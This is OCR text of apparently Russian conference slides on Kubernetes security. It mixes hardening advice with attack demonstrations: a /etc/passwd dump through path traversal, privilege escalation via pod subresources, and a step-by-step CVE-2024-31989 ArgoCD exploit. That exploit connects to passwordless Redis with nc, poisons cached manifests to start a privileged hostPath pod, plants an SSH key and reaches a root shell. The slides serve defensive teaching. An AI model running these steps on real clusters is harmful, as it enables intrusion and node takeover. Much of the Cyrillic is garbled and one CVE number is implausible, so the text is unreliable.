directories: No such file or directory
root:x:0:0:root: /root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:X:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:X:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534:nobody : /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106: : /nonexistent: /usr/sbin/nologin
syslog:x:104:110: : /home/syslog: /usr/sbin/nologin
_apt:x:185:65534: : /nonexistent: /usr/sbin/nologin
uuidd:x:106:112::/run/uuidd: /usr/sbin/nologin
tcpdump:x:107:113: : /nonexistent: /usr/sbin/nologin
sshd:x:108:65534: : /run/sshd: /usr/sbin/nologin
builder:x:1000:1000:builder, ,, :/home/builder:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux: x:109:46: usbmux daemon,,, /var/1ib/usbmux: /usr/sbin/nologin

= = : e/ chrtony : /usr/sbin/nologin
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I have no name!@mtkpi-9d948ff85-kmxhd:.$ cat ../../../../etc/passwd
job-working-directory: error retrieving current directory: getcwd: cannot access parent
directories: No such file or directory

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:Xx:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:Xx:5:60:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin

uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534:nobody : /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106: : /nonexistent: /usr/sbin/nologin

syslog:x:104:110: : /home/syslog: /usr/sbin/nologin
_apt:x:1085:65534: : /nonexistent: /usr/sbin/nologin
uuidd:x:106:112::/run/uuidd: /usr/sbin/nologin
tcpdump:x:107:113: : /nonexistent: /usr/sbin/nologin
sshd:x:108:65534: : /run/sshd: /usr/sbin/nologin

builder:x:1000:1000:builder, ,,:/home/builder:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
_chrony:x:110:117:Chrony daemon, , , :/var/lib/chrony: /usr/sbin/nologin
ubuntu:x:1002:1002: : /home/ubuntu: /bin/sh

I have no name!@mtkpi-9d948ff85-kmxhd:.$ |
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1. OBHOBMNEHWME CUCTEMHbIX KOMMNAHEHT
e (Ob69a3aTenbHo,
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2. Ncnonb3oBaHuMe PolicyEngines
« Ob6¢g3aTenbHO
« [puoepxkmBantecb whitelist, MuHUMM3NpPyMTEe blacklist, ydbnpamTte HeHy>KHOe
3. KoHTponb o6pasa u pecypca B CI/CD
« COBMECTHO C NMYHKTOM BblLLE
« CNOXXHO, HO MCK/toYaeT o0bxoa Yepes3 NoaroToBNEHHbIN 0bpa3
4. Selinux npodunb
« Tonbko gna RedHat based OS
5. YcnoxHeHne 3anyckKa 3KCraomTa C noMoLllbio AppArmor npodumns
 Tonbko Debian based OS
* Hy)XHO co30aTb MPOodUNb NOO KaXKAblt KOHTENHEP
6. CrnegoBaHMe NPUHLUMNY HAUMEHbLUMX MPUBUNIETNIA
« Rootless koHTenHepbl, distroless o6pa3bl, container specific OS gna xocTta
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API Request s Authentication Mutating lgjeet Validating
HTTP L. D Schema .. ETCD
Authorization admission ; ) admission
handler Validation
A A
(V
4
( (

[ Webhook [ Webhook




Tunbl KOHTEeMHepoB B Pod

CylLlecTByeT 3 TUNa KOHTEeMHEPOB:

@ initContainers
@ mainContainers

@ ephemeralContainers

Mmain container

Mmain container




Ephemeral Contadiners

« [logaBunuco B 1.18, 1.23 B Beta 1 BKItOYEHbDI MO yMoYaHMio,B 1.25 B Stable
« PexxmMmbl paboTbl:

* kubectl debug B coueTaHnm c shareProcessNamespace

* Kkubectl| debug ¢ ykazaHmeM KOHKpeTHOro container B Pod

» Kkubectl debug c konmposaHmeM ueneporo Pod

ephemeralContainers
EphemeralContainer array
patch strategy: merge
patch merge key: name

List of ephemeral containers run in this pod. Ephemeral containers may be run in an existing pod to perform user-initiated actions
such as debugging. This list cannot be specified when creating a pod, and it cannot be modified by updating the pod spec. In order
to add an ephemeral container to an existing pod, use the pod's ephemeralcontainers subresource.

] - =

Kubernetes Pod

I uts namespace

Subresources: [ T

« pods/ephemeralcontainers

net namespace

I pid namespace 1

[ pid namespace 2

pid namespace 3

mnt namespace 1

-~

mnt namespace 2

mnt namespace 3

app sidecar ephemeral |
| container ‘ container container ‘
WSII»\ :ﬂmge./ o _'Shw” image! ) Toolkit
4 /
/ mnag& g [

$ kubectl exec -it -- sh

No gl«\e” nside/

|

Ephemeral container
doesn't "see’ processes

Interactive shel [/

| § kubectl debug -it ...

‘ root@debug# ss -ltn
root@debug# ps auxf
root@debug#

Kubernetes Ephemeral Containers and kubect|l debug Command



https://iximiuz.com/en/posts/kubernetes-ephemeral-containers/

YAa3BMMbIA KOHOOUI
ValidatingWebhookConfiguration

Object Selector:
Rules:

API Groups:
%

API Versions:
%

Operations:
CREATE
UPDATE

Resources: rules:
*/scale . )
certificates S apibroupss
deployments = !
daemonsets apiVersions:
statefulsets Tyt
cronjobs .
jobs operations:
ER-IENES - CREATE
virtualservices — UPDATE
destinationrules )

2 resources:

services L

servicerules
Scope: Namespaced scope: 'x'




YAa3BMMbIA KOHOOUI
ValidatingWebhookConfiguration

Object Selector:
Rules:

API Groups:
*
API Versions:
*
« He Bce onepaumm DDEEZEE"“
« CONNECT
UPDATE
« DELETE Resources: rules:
« He Bce KpUTUYUHbIE resources */scale ~ apiGroups:
. pod certificates ‘ . '
5 deployments - 'k
« HeT subresources daemonsets apiVersions:
. pods/exec statefulsets Tyt
« pods/portforward cronjobs S
« pods/ephemeralcontainers joLs operations:
ER-IENES - CREATE
* nodes/proxy virtualservices ~ UPDATE

* .. destinationrules
services
servicerules

Scope: Namespaced scope: '*'

resources.




NMyTb K JMIo6omy Bad Pods

Bad Pods: Kubernetes Pod Privilege Escalation



https://bishopfox.com/blog/kubernetes-pod-privilege-escalation

NcnpaBineHue B OPA Gatekeeper 3.9.0

1t

Explicitly list all known subresources except "status" (to avoid destabilizing the cluster and increasing load on gatekeeper).

IS

You can find a rough list of subresources by doing a case-sensitive search in the Kubernetes codebase for 'Subresource(

'pods /ephemeralcontainers’

7

- 'pods/exec’

i

- 'pods/log’

7

- 'pods/eviction’

- 'pods/portforward’
- 'pods/proxy’

- 'pods/attach’

i

- 'pods/binding’
- 'deployments/scale’

- 'replicasets/scale’

‘statefulsets/scale’

'replicationcontrollers/scale’

- 'services/proxy’

'nodes/proxy’

1t

For constraints that mitigate CVE-2028-8554

- 'services/status’

IcxooHbIM Ko, Issue



https://github.com/open-policy-agent/gatekeeper/blob/master/cmd/build/helmify/replacements.go#L200
https://github.com/open-policy-agent/gatekeeper/pull/2054

Kvverno vs OPA Gatekeeper

E : chipzoller commented 3 weeks ago Member

You shouldn't need to manually modify the webhook. Kyverno will do that automatically when you match on the kind

Pod/portforward .

®)

fmalykh commented 3 weeks ago - edited ~

Ah, lovely, | was not aware of this! Ji
This is an OPA flashback which made me edit the webhook for each and every resource | was running validations for.

®

[nckyccuna B issue penosntapumsa Kyverno



https://github.com/kyverno/kyverno/issues/5345

3amTtd ot mMmckoHcbura n Bad Pods

1. RBAC, cooTBeTCTBYOLWAA MPUHLMMY HAMMEHbLUMX MPUBUIETNN
 BbICTpO, HageXxHo, ob6a3aTesIbHO!
2. Ncnonb3oBaHue PolicyEngine
« Ob6ga3atenbHo!
3. KoppekTHo HacTpoeHHbIM ValidatingWebhookConfiguration ona PolicyEngine
* [TOCTOSHHbIN KOHTPOb KOHOUIYypaLUnm 0.
3. [prHYOUTENDBHDLIM KOHTPOb BCEX TUMOB KOHTEMHEPOB B NOSIMTUKaAxX Ha Policy Engine
« He orpaHmnumBaemca PodSecurityStandart - mToOMHMM MNPO subresources
4. Ncnonb3oBaHWe Kubernetes Audit Log
« Heobxoaonma KoppeKTHO HacTpoeHHaa Audit Policy
5. NetworkPolicy
« He Bce noapsan oomkHbl xoanTb B Kubernetes AP
 NetworkPolicy Hy»>XHO nmcaTh ;)
6. Kak BapuaHT ncnonb3oBaHme ValidatingAdmissionPolicy
« He ncnonb3yeTt MexaHn3M webhook
 EcTb TONbKO B nocnenHmx sepcuax: 1.26 (alpha),1.28 (beat), 1.30 (GA)
« MeHblaga rmbkocTb no cpaBHeHMto ¢ Kyverno n OPA Gatekeeper
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NMpurviepbl NPUJIOXNKEeHN

4 ) 4 )

CUCTEeMHbIe [Tonb3oBaTesibCKme




NMprvepbl NoJIb30BATESNIbCKUX
NMPUJIONKEeHN

4 N 4 N

CUnCTEeMHbIe [Tonb3oBaTesibCKme

- ) - ) OL

JTtobble NpPUNoOXXeHna Nonb3oBaTenemn:
- Web-npunoxxeHunda

- nonb3oBaTenbckne API

- 0bpaboTka gaHHbIx (ETL)

- nepeknagymKmM gaHHbIX

- MCKYCCTBEHHbIN MHTeNeKT (Al)

- Batch-Harpyskm

- Etc.




NMprmvepbl CUCTeMHDbIX MPUJIOXXKeHN

-

~

CUCTEeMHbIe

)

CNI
INgress-KOHTPO/1epPb
DNS
GitOps-onepaTopsbl
ServiceMesh
Storage-KOoHTpoNnepb.bl
CekpeTHuubl (Vault)
Etc.

/

[Tonb30oBaTeNbCKMNE




NMprmvepbl CUCTeMHDbIX MPUJIOXXKeHN

-

~

CUCTEeMHbIe

)

CNI
INgress-KOHTPO/1epPb
DNS
GitOps-onepaTopsbl
ServiceMesh
Storage-KOoHTpoNnepb.bl
CekpeTHuubl (Vault)
Etc.

/

[Tonb30oBaTeNbCKMNE

[ [TOTOMY UYTO pacLUMpPEeHHble NpaBa =) J




ArgoCbD - poJrib

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole

data:

bels:

app.kubernetes.io/name: argocd-application-controller

t
(1)

me

[
L
y—
v

app.kubernetes.io/part-of: argocd

app.kubernetes.io/component: application-controller

name: argocd-application-controller

rules.

- apiGroups:



Kak aaomviH K8s Bnamnt ArgoCD? =)







ArgoCD - o6LLds IOrMKA 6Re ‘
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— Cluster 4 oh

Cluster B
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NCTOYHUK - AoKYMeHTaumga ArgoCD



https://argo-cd.readthedocs.io/en/stable/developer-guide/architecture/components/

NCTOYHUK - AoKYMeHTaumga ArgoCD



https://argo-cd.readthedocs.io/en/stable/developer-guide/architecture/components/

e nckartb Redis B ArgoCD?

Pods(argocd)[7]

NAME 1 PF READY RESTARTS
argocd-application-controller-0 1/1
argocd-applicationset-controller-5f975ff5-ggpn7 1/1

argocd-dex-server-7bb445db59-d4zhg 1/1
argocd-notifications-controller-566465df76-ppgq8 1/1
argocd-redis-6976fc7dfc-g2bzv 1/1
argocd-repo-server-6d8d59bbc7-wlxkf 1/1
argocd-server-58f5668765-krrcw 1/1

STATUS

Running
Running
Running
Running
Running
Running
Running

NcTouHUK - Cycode cTtaTtbda "Redis or Not..." - Oreen Livni

\
2

FF
ONE

2024


https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

Yassyum J v HALl Redis?
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Pods(argocd)[7]
NAME ¢ PF READY RESTARTS STATUS

argocd-application-controller-0 1/1
argocd-applicationset-controller-5f975ff5-ggpn7 1/1

argocd-dex-server-7bb445db59-d4zhg 1/1
argocd-notifications-controller-566465df76-ppgq8 1/1
argocd-redis-6976fc7dfc-g2bzv 1/1
argocd-repo-server-6d8d59bbc7-wlxkf 1/1
argocd-server-58f5668765-krrcw 1/1

Running
Running
Running
Running
Running
Running
Running

EC/M BepCya HDKe + HeT ceTeBOW NONMUTUKMU
2.11.1, 2.10.10, 2.9.15, 2.8.19

= [ CVE-2024-31989! }

cTouHUK - Cycode cTtaTtbhg "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

All Key Types

STRING git-refs|https:/fgithub.com/Cycodelabsfargocd-application|1.8.3.gz

STRING applresources-tree|r

cluster|infolhttps:/kube

STRING

STRING

IcTouHUK - Cycode cTtaTtbga "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

All Key Types

STRING git-refs|https:/fgithub.com/Cycodelabsfargocd-application|1.8.3.gz

STRING app|resources-tree|myapp|1.8.3.g9z

clusterlinfolhttps:fkubernetes.default.svc|1.8.3.9z

STRING

STRING

[ Redis — cepBUC-Kellep J

IcTouHUK - Cycode ctaTtbga "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

All Key Types

STRING git-refs|https:/fgithub.co codelabs/argocd-application|1.8.3.9z
STRING applresources-tree/myapp|1.8.3.9z
clusterlinfolhttps:fkubernetes.default.svc|1.8.3.9z

STRING revisionmetadatalhttps://github.com/Cycodelabs/argocd-application|42dd0d51ad14455859ca57chic 728

STRING mfstlapp.kubernetes.iofinstance|myapp|42dd0d51adi44558

[ Redis — cepBuc-keLlep J [ dopmart - GZip J

IcTouHUK - Cycode ctaTtbga "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

MoXxkeM i Mbl pas)xxaTtb GZip? AERE

2024

<{ Browser

Key Name

STRING git-refs|https://github.com/CycodeLabs/argocd-application[1.8.3.9 & | git-
refs|https://github.com/Cycodelabs/argocd-

application|1.8.3.gz

NcTouHMK - Cycode ctaTtbhbg "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

NGO

MoXxemM Jin Mbl pas)xatb GZip?
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<{ Browser
Key Name

STRING  git-refs|https://github.com/CycodeLabs/argocd-application[1.8.3.g & | git-
refs|https://github.com/Cycodelabs/argocd-

application|1.8.3.gz
1 min G

1f8b08000000000000ff8a8e562adadd2bd6cf484d4c29d6cfAddecec53d25132314a49314831354¢4¢3134313135b530b54c4e34354f4e324f3637b2304¢3535484cb53436b634
568ad58956f270757451d2019962a5806e546¢2¢17000000ffff

Mo)XxkeM!

cTouHUK - Cycode cTtaTtbga "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

<{ Browser

Key Name

STRING git-refs|https://github.com/CycodeLabs/argocd-application[1.8.3.g & | git-
refs|https://github.com/Cycodelabs/argocd-

application|1.8.3.gz

1f8b08000000000000ff8a8e562adadd2bd6cf484d4c29d6cfAddecec53d25132314a49314831354¢4¢3134313135b530b54c4e34354f4e324f3637b2304¢3535484cb53436b634
568ad58956f270757451d2019962a5806e546¢2¢17000000ffff

MoykeMm
Pa3)xmMMaeMm [MonyyaeM baseb4 CreHepupoBaTb
CBOW MaHUNpeCT

NcTouHUMK - Cycode cTtaTtbda "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

All Key Types

STRING git-refs|https:/fgithub.com/Cyce ysfargocd-application[1.8.3.9z

STRING app|resources-tree|myapp|1.8.3.9z

cluster|infolhttps:/fkubernetes.default.svc|1.8.3.gz

STRING ravisionmet: Cycode (] i o859caslchici281e50ae83395]1.8.3.92

STRING

NcTouHUMK - Cycode cTtaTtbhda "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

NcTouHKMK - Cycode ctatbda "Redis or Not..." - Oreen Livni
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CVE-2024-31989 - Redis - oco6eHHOCTN 5.

2024

NcTouHKMK - Cycode ctatbda "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/
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CVE-2024-31989 - Redis - oco6eHHOCTM

ic (cmx *CachedManifestResponse) generateCacheEntryHash() (

t= cmr.shallowCopy()
Baseb4-enc -

FNV 64a

:= json.Marshal(copy)

1 {

(s a

checksum WesL v ML s

, err

i= fnv.New64al()
{ Regenerate ] , err = h.Write(bytes)

= h.Sum(nil)
base64.URLEncoding.EncodeToString(fnvHash),

cTouHUMK - Cvcode cTtaTtbhsa "Redis or Not..." - Oreen Livni
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CVE-2024-31989 - niidH aTakum 3ERe

2024

3aANCKaBepUTb root@ubuntu-pod-7d567bb8bb-gxgkd: /# nslookup argocd-redis.argocd
Redis .svc.cluster.local
Server: 10.100.0.10
Address: 10.100.0.10#53
Name: argocd-redis.argocd.svc.cluster. local
MpeBERVTE Address: 10.100.135.22

MNoAK/TKHeHNEe

root@ubuntu-pod-7d567bb8bb-gxgkd: /# nc -vz 10.100.135.22 6379
l Connection to 10.100.135.22 6379 port [tcp/*] succeeded!

Co3oaThb
HOPMasibHbIN
Pod

’

MoOKIoUYNTHCS | ‘ CozfaTtb CreHnpurpoBaTb MoaoykaaTh NoKa

. Victim M MOOMEHUTb ArgoCD 3anycTtuT
K Redis v
MaHundecT checksum HaLl HOoBbIM Pod

N N

NcTouyHMK - Cycode cTtaTtbhbg "Redis or Not..." - Oreen Livni



https://cycode.com/blog/revealing-argo-cd-critical-vulnerability/

CVE-2024-31989 - noakriovaemMcsi 3EFe

2024

Connection to 10.100.135.22 6379 port [tcp/*] succeeded!

+PONG

root@ubuntu-pod-7d567bb8bb-gxgkd: /# echo -e 'KEYS *\r\n' | nc -v
10.100.135.22 6379

Connection to 10.100.135.22 6379 port [tcp/*] succeeded!

x5

4 I $66

it-refs|https: Lthub.com/CycodelLabs/argocd-application|1.8.3.
Mo yMonuaHuo, g; |https://githu 49 /arg pplication|
Redis nyckaeT $33
6e3 napons I gpplresources—treelmyapp|1.8.3.gz
o 115
\_ - revisionmetadata|https://github.com/CycodelLabs/argocd-applicatio
n|42dd0d51ad14455859ca57cb7¢7281e50ae93393|1.8.3.9z
$52
cluster|info|https://kubernetes.default.svc|1.8.3.9z
$103
mfst|app.kubernetes.io/instance|myapp|42dd0d51ad14455859ca57cb7c
7281e50ae93393 |myapp | 650319441|1.8.3.9z
root@ubuntu-pod-7d567bb8bb-gxgkd: /# §

NcTouHUK - Cycode ctatbda "Redis or Not..." - Oreen Livni
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CVE-2024-31989 - sakmabiBadeMm mfst

"\x1f\x8b\b\x00\xB0\x00\x00\x00\>

\xfOw\x1f171\xbc

@c\x1b\x

"mfst|app.kubernetes

fst |app. kubernetes. io/

"mfst|app.kubernetes.io/

\

Co3gaeM
Victim
MaHundecT

)

a9\ x80\x9d\xda

myapp | 65031

|myapp | 65

nyapp |65

nyapp |65

xb@*x\aZf\x13 \
bd\xfa\x91 dfR\xf4\xc
d5g\xf8F\xef 'OMI\xc1\x1

\WXB8FJt\\L\xc6\xd7\xc8\x

MaHwundoecT:
- NPUBUNETMPOBAHHbIV MOL,
- MOHTUpPYEM HostPath

\ 3aKmabiBaeM SSH-kMwoY Ha HoOy

NcTouHMK - Cycode ctaTtbhbg "Redis or Not..." - Oreen Livni
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CVE-2024-31989 - «xnem =)




CVE-2024-31989 - nonyuaempyTas) (5w

&

~\ ##5#_ Amazon Linux 2
v\ HRHEE

\##3# | AL2 End of Life is 2025-06-30.
\#/

V~| |_>
/ A newer version of Amazon Linux is available!

Amazon Linux 2023, GA and supported until 2028-03-15.

5 package(s) needed for security, out of 7 available

Run "sudo yum update" to apply all updates.

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
[root@ip- ~]# whoami

root

[root@ip- ~1#

e

cTouHUMK - Cvcode cTtaTtbhsa "Redis or Not..." - Oreen Livni
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ArgoCD - npoBeneHvie AOTOKW

Cluster

Argo CD Namespace

> Namespace A

Namespace B

o rg o Synchronize

.| ' ' X Namespace C

Argo CD Application Conroller ‘

Passwordless Argo CD Redis Server ‘

cToUHUK - Cvcode cTtaTtbhea "Redis or Not..." - Oreen Livni
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3aumTd OoT Noao06HOoro

1. YcTaHOBKa 0OHOBNEHUI
« (Obga3zaTefnbHO
« TpebyeT BpeMda 1 nepesanycKku
2. NetworkPolicy
« [lenaemMm MUKpoOCEerMeHTauuo
 NetworkPolicy Hy>XHO nmcaTb ;)
3. YCNoXXHeHWe 3anyckKa rnosiesHom Harpyskm ¢ noMolLlbo AppArmor npopunis
« Tonbko Debian based OS
*  Hy)XHO co3aaTb Npodub NOMO KaXOblh KOHTEMHEP
4. RBAC
« CnegyeM npuUHUMNY HaMMeHbLLUMX NpuBunernmn. HMKakmx, exec!
5. PolicyEngine
« Hwkorga He 6bIBaeT NULLHUM ;)
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BbiBOObl

1. Ya3BMMOCTU Oblnin, eCTb 1 6yayT!
 [TponmcHaa NCTMHa
2. [Noberun — He Bcerga v ganeko He ToMbKo “agepHaa” nctopus
« Cy4dyeToM CNOXXHOCTN K8S cucTeM MOryT ObiTb O4YEHb KpeaTUBHbIE BEKTOPA
*  ATaKW 2BOIOLLMOHUNPYIOT
3. ObHoBNeHMe
3aHMMaACb NATYMHIOM MOMHUTE, YTO €CTb OKHa, KOraa Bbl yA3BMMbI K 1-day
4. XapOeHWHr cnacaeT!
« Security By Design =)
«  MOXXHO 3aKpbITb Kak 1-day, Tak n O-day
5. 3HanTe 1 NoHMManTe CBOK MHPPACTPYKTYPY
 Henb34 3alWMTUTb TO, YTO Bbl HE BUAUTE N HE NMOHMMaETe
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OMNTPUM EBOOKMMOB  de@luntry.ru
Founder & CTO Luntry

Hukona ljl [NMaHUeHKO n.s.panchenko@tbank.ru
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